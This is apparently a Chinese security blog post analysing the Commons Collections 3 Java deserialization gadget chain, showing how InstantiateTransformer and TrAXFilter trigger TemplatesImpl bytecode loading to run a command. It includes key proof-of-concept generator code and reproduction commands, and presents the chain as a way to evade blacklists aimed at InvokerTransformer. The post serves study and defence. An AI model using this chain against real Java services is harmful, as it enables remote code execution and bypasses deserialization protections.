java反序列化之CC3 利用链分析:InstantiateTransformer 的迂回

发布时间:2026/11/11 18:37:38

java反序列化之CC3 利用链分析:InstantiateTransformer 的迂回 CC3 利用链分析InstantiateTransformer 的迂回CommonsCollections3写在前面CC3 是个混血儿入口用 CC1 的AnnotationInvocationHandlerLazyMap 动态代理。执行体用 CC2 的TemplatesImpl字节码加载。但你可能会问CC1 的入口 CC2 的执行体直接把 CC2 的InvokerTransformer(newTransformer)塞进 CC1 的LazyMap不就完了为什么还要单独搞个 CC3答案在于黑名单对抗CC2 直接用InvokerTransformer调newTransformer而很多防护会盯InvokerTransformer。CC3 换了个更迂回的触发方式–用InstantiateTransformer去实例化TrAXFilter间接调到newTransformer从而避开对InvokerTransformer的封堵。前置知识见 前置基础篇。一、链路概览[同 CC1 入口] AnnotationInvocationHandler.readObject() - Proxy.entrySet - AIH.invoke - memberValues.get(entrySet) - LazyMap.get() - ChainedTransformer.transform() ConstantTransformer(TrAXFilter.class) - TrAXFilter.class InstantiateTransformer([Templates.class],[templates]) - new TrAXFilter(templates) - TrAXFilter.init - templates.newTransformer() - TemplatesImpl 加载 _bytecodes - newInstance() - Evil 静态块 - Runtime.exec入口和 CC1 一模一样区别只在LazyMap的factoryChainedTransformer内容CC1 是Runtime.exec反射链CC3 是InstantiateTransformerTrAXFilter。二、入口同 CC1入口部分完全照搬 CC1详见 CC1 篇内层 AIH 的memberValuesLazyMapfactoryChainedTransformer。以内层 AIH 为 handler 建 Map 动态代理。外层 AIH 的memberValues 该代理。序列化外层 AIH反序列化时readObject调proxyMap.entrySet()- 内层invoke-memberValues.get(entrySet)-LazyMap.get()-ChainedTransformer.transform()。同样受 JDK 8u71 限制入口是 AIH。三、执行体InstantiateTransformer TrAXFilter3.1 InstantiateTransformer实例化任意类InstantiateTransformer是 CC 库的另一个 Transformer它的transform接收一个Class用预设的构造参数实例化它// InstantiateTransformer.transformpublicObjecttransform(Objectinput){Class?cls(Class?)input;Constructor?concls.getConstructor(iParamTypes);// 找构造器returncon.newInstance(iArgs);// ★ 实例化}即transform(SomeClass.class)-new SomeClass(预设参数)。3.2 TrAXFilter间接调 newTransformerTrAXFiltercom.sun...trax.TrAXFilter是个 XSLT 过滤器它的构造函数接收Templates并在内部调templates.newTransformer()publicTrAXFilter(Templatestemplates)throwsTransformerConfigurationException{_templatestemplates;_transformer(TransformerImpl)templates.newTransformer();// ★ 构造时触发// ...}3.3 串起来CC3 的ChainedTransformerTransformer[]transformersnewTransformer[]{newConstantTransformer(TrAXFilter.class),// - TrAXFilter.classnewInstantiateTransformer(newClass[]{Templates.class},newObject[]{templates})// - new TrAXFilter(templates)};ChainedTransformerrealChainnewChainedTransformer(transformers);执行流程ConstantTransformer(TrAXFilter.class).transform(...)- 返回TrAXFilter.class。InstantiateTransformer.transform(TrAXFilter.class)- 反射new TrAXFilter(templates)。TrAXFilter构造函数里templates.newTransformer()-TemplatesImpl加载_bytecodes-newInstance()-Evil静态块 -Runtime.exec(calc)。TemplatesImpl的构造同 CC2_bytecodes_name_tfactory。四、为什么这么绕CC3 存在的意义对比 CC2 的执行体InvokerTransformer(newTransformer).transform(templates)直接对TemplatesImpl调newTransformer。CC3 的执行体绕了个弯InstantiateTransformer-new TrAXFilter(templates)- 构造里调newTransformer。为什么要绕因为InvokerTransformer是反序列化防护的重点盯防对象它太通用、太危险能调任意方法。一些黑名单/RASP 会封InvokerTransformer或它的transform。CC3 的精明之处整个ChainedTransformer里没有InvokerTransformer只有ConstantTransformer和InstantiateTransformer。newTransformer不是被直接调用的而是藏在TrAXFilter构造函数内部–黑名单很难覆盖到这种通过实例化某个类间接触发的路径。所以 CC3 的定位是绕过针对 InvokerTransformer 的黑名单。代价是入口仍是 CC1受 8u71 限制所以它不是万能的。五、完整 POCCC3Gen.java关键部分入口同 CC1执行体换成 InstantiateTransformer// 1. 恶意 translet 字节码 - TemplatesImpl同 CC2byte[]evilBytesFiles.readAllBytes(Paths.get(Evil.class));TemplatesImpltemplatesnewTemplatesImpl();setField(templates,_bytecodes,newbyte[][]{evilBytes});setField(templates,_name,Evil);setField(templates,_tfactory,newTransformerFactoryImpl());// 2. 执行体InstantiateTransformer - new TrAXFilter(templates)Transformer[]transformersnewTransformer[]{newConstantTransformer(TrAXFilter.class),newInstantiateTransformer(newClass[]{Templates.class},newObject[]{templates})};ChainedTransformerrealChainnewChainedTransformer(transformers);// 3. LazyMap同 CC1MaplazyMapLazyMap.decorate(newHashMap(),realChain);// 4. 两层 AIH Proxy同 CC1ObjectinnerAIHaihCtor.newInstance(Override.class,lazyMap);MapproxyMap(Map)Proxy.newProxyInstance(Map.class.getClassLoader(),newClass[]{Map.class},(InvocationHandler)innerAIH);ObjectouterAIHaihCtor.newInstance(Override.class,proxyMap);// 5. 序列化六、复现环境JDK 8u65 8u71 CommonsCollections 3.1java -cp .;commons-collections-3.1.jar CC3Gen java -cp .;commons-collections-3.1.jar Deserialize cc3.sercmd 输出readObject threw: FunctorException: InstantiateTransformer: Constructor threw an exception计算器已弹出。异常来自TrAXFilter构造函数newTransformer内部加载字节码、实例化 Evil、静态块执行 calc 完成后构造函数后续操作抛异常被InstantiateTransformer包成FunctorException。calc 在异常前已弹。七、小结CC3 CC1 入口 CC2 执行体但执行体刻意避开InvokerTransformer改用InstantiateTransformerTrAXFilter间接触发。它是黑名单对抗思路的典范危险操作可以藏在构造函数里TrAXFilter构造调newTransformer这种实例化即触发的模式让黑名单难以穷举。不要只盯单个 Transformer 类封了InvokerTransformer还有InstantiateTransformer能实例化任意类。但 CC3 的入口仍是 AIH所以 8u71 之后同样失效。下一篇 CC4我们把 CC2 的入口PriorityQueue和 CC3 的执行体InstantiateTransformerTrAXFilter组合–既不依赖 AIH又绕开 InvokerTransformer。参考ysoserial CommonsCollections3https://github.com/frohoff/ysoserial
延伸阅读

更多相关文章

2026/11/12 1:42:12

计算机毕业设计之爱它宠物管理系统

当下社会,信息技术充斥社会各个领域,已融入人们生活的点滴,日常中人们管理信息、办理业务、购买商品等都可以网络线上进行,快速而又便利,特别是随着移动互联网时代的到来,更是让人们随时享受着网络给带来的…

2026/11/8 20:10:34

Qlib量化投资平台:揭秘AI赋能的终极量化研究解决方案

Qlib量化投资平台:揭秘AI赋能的终极量化研究解决方案 【免费下载链接】qlib Qlib is an AI-oriented Quant investment platform that aims to use AI tech to empower Quant Research, from exploring ideas to implementing productions. Qlib supports diverse M…

2026/11/12 1:39:10

低压电工作业(d)考些什么 一文讲清官方报名入口和备考全攻略

低压电工作业(d)考些什么 一文讲清官方报名入口和备考全攻略 你是不是也遇到过这种情况,好不容易找到一份电工相关的工作,结果公司要求你必须有低压电工作业(D)证才能上岗?别急,这篇文章就是为你准备的,带你从零开始了解低压电工作业(D)证考些…

2026/11/12 1:39:10

高压电工证师傅多久拿证?工地太忙也能快速取证的秘诀

高压电工证师傅多久拿证?工地太忙也能快速取证的秘诀 工地太忙根本没时间复习考试,你是不是也经常听到同事说“高压电工证师傅多久拿证?”这句话,心里想着,要是能快点拿到证,说不定就能早点上手干活、涨工资。别急,这篇文章就给你讲讲,作为一名周口应…

2026/11/12 1:39:10

低压电工作业(d)考些什么合格标准与通过率全国通用

低压电工作业(d)考些什么合格标准与通过率全国通用 实操考试心里没底怕挂科,你不是一个人。作为洛阳某劳务班组的负责人,我深知低压电工证在建筑、维修、安装等多个领域是“门槛证”,但每次组织人去考,总有几个工人信心不足,担心挂科影响收入,甚至担…

2026/11/12 1:39:10

香港电工证有啥用途?网上查询发现这些关键信息

香港电工证有啥用途?网上查询发现这些关键信息 学历不高怕报不上名?别担心,现在考电工证的门槛越来越低,但你得先搞清楚 香港电工证有啥用途 ,别花冤枉钱。很多人以为拿着电工证就能到处走,其实不同地区的证书适用范围不一样,特别是像 香港电工证…

2026/11/12 1:39:10

低压电工证拿证多少天郑州报考避坑指南

低压电工证拿证多少天郑州报考避坑指南 之前考的证在外省能不能转过来?这是很多在郑州或打算在郑州发展的电工同行最关心的问题。特别是像你这样,可能刚毕业或者刚进入这个行业的济源应届工程类毕业生,面对低压电工证的报考、拿证时间、学历要求和后续发展…

2026/11/11 12:42:59

电工证丢失还能补吗?千万别踩坑,丢了证等于失业

电工证丢失还能补吗?千万别踩坑,丢了证等于失业 你正在找工作,但手里的电工证突然丢了,这下怎么办?别急,先别慌, 电工证丢失还能补吗 ?答案是肯定的,但 千万别踩坑 ,补办流程如果不了解,可能会耽误你上岗、甚至影响到你的收入。…

2026/11/12 0:04:01

工地太忙根本没时间复习考试?学习电工证到哪里学通过率揭秘

工地太忙根本没时间复习考试?学习电工证到哪里学通过率揭秘 工地太忙根本没时间复习考试?你不是一个人。作为一名在南阳卧龙区干了七八年市政公用工程的电工,我深知这个问题的现实性。电工证不仅是工作的“入场券”,更是职业发展的“通行证”,但备考过程…

2026/11/12 0:04:01

双流电工证考别怕挂科!郑州报考避坑指南全攻略

双流电工证考别怕挂科!郑州报考避坑指南全攻略 实操考试心里没底怕挂科?双流电工证考在郑州报名,很多人因为不了解流程、准备不充分,白白浪费时间和金钱。作为三门峡应届工程类毕业生,我也曾经历过这样的焦虑。今天就从零开始,手把手教你如何避开郑州报…

2026/11/12 0:04:01

之前考的证在外省能不能转过来 怎么报名考电工证培训价格多少

之前考的证在外省能不能转过来 怎么报名考电工证培训价格多少 之前考的证在外省能不能转过来?这个问题确实让不少准备换城市工作的朋友犯了难,尤其像电工证这种实操性很强的证书,很多人担心跨省后证书能不能继续用。其实,只要符合相关流程,是可以顺利转…

2026/11/11 20:27:01

面向复杂光照与角度的宠物面部识别鲁棒性增强策略

在智慧养宠时代,基于视觉的宠物身份识别技术正逐步从实验室走向家庭应用。然而,与配合度高的人类不同,宠物是典型的“非合作生物识别对象”——它们不会主动配合摄像头调整姿态,更无法控制光照环境。实际应用中,我们常…

2026/11/10 10:29:37

SSM电子书店源码全解析:结构、原理、部署与排错实战

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

还想了解更多?直接咨询顾问

免费诊断 + 免费方案 + 透明报价。

全国咨询热线400-8866-253
免费获取方案
☎咨询二维码 ☎ ↑